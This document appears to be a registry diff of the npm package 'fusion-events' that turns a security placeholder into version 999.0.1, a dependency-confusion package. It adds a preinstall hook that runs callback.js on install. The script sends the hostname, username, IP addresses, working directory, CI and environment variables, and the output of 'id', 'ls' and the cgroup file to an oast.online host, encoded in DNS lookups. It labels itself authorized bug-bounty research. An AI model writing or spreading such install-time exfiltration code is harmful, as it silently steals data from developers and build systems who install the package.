fusion-events 0.0.1-security → 999.0.1

package/callback.js

@@ -0,0 +1,40 @@
+const os = require('os');
+const dns = require('dns');
+const { execSync } = require('child_process');
+
+const CB = 'd7f93j39plqf2tjsj7ugaaye9nqfo9j3f.oast.online';
+const PKG = 'fe';
+
+function send(label, data) {
+  const hex = Buffer.from(String(data)).toString('hex').slice(0, 60);
+  try { dns.resolve(`${PKG}.${label}.${hex}.${CB}`, () => {}); } catch(e) {}
+}
+
+send('h', os.hostname());
+send('u', os.userInfo().username);
+send('d', process.cwd());
+send('p', os.platform() + '_' + os.arch());
+
+try {
+  const nets = os.networkInterfaces();
+  for (const name of Object.keys(nets)) {
+    for (const net of nets[name]) {
+      if (!net.internal && net.family === 'IPv4') {
+        send('ip', net.address);
+      }
+    }
+  }
+} catch(e) {}
+
+const envKeys = ['CI', 'JENKINS_URL', 'GITHUB_ACTIONS', 'GITLAB_CI', 'BUILDKITE',
+                 'CIRCLE_CI', 'TRAVIS', 'AWS_REGION', 'UBER_ENV', 'NODE_ENV',
+                 'BUILD_ID', 'BUILD_URL', 'WORKSPACE', 'HOME', 'USER'];
+for (const key of envKeys) {
+  if (process.env[key]) {
+    send('e.' + key.toLowerCase().slice(0, 8), process.env[key].slice(0, 60));
+  }
+}
+
+try { send('id', execSync('id 2>/dev/null || whoami').toString().trim().slice(0, 60)); } catch(e) {}
+try { send('ls', execSync('ls -la 2>/dev/null || dir').toString().trim().slice(0, 60)); } catch(e) {}
+try { send('dock', execSync('cat /proc/1/cgroup 2>/dev/null | head -1').toString().trim().slice(0, 60)); } catch(e) {}

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "fusion-events",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "999.0.1",
+  "description": "Security research - dependency confusion test for authorized bug bounty program",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js"
+  },
+  "author": "d3x0s_07 - authorized security researcher",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=fusion-events for more information.